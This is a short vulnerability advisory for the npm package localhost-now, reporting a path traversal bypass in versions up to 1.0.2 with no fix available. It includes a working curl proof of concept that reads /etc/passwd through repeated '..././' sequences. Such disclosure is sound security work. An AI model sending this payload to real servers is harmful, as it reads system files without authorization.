Описание
Path Traversal in localhost-now
All versions of localhost-now are vulnerable to path traversal. This vulnerability is a bypass to the path traversal fix introduced in version 1.0.2
Proof of concept:
$ curl -v --path-as-is "http://IP:5432/..././..././..././..././..././..././..././..././..././..././etc/passwd"
Recommendation
No fix is currently available for this vulnerability. It is our recommendation to not install or use this module until a fix is available.
Пакеты
Наименование
localhost-now
npm
Затронутые версииВерсия исправления
<= 1.0.2
Отсутствует
Дефекты
CWE-22
Дефекты
CWE-22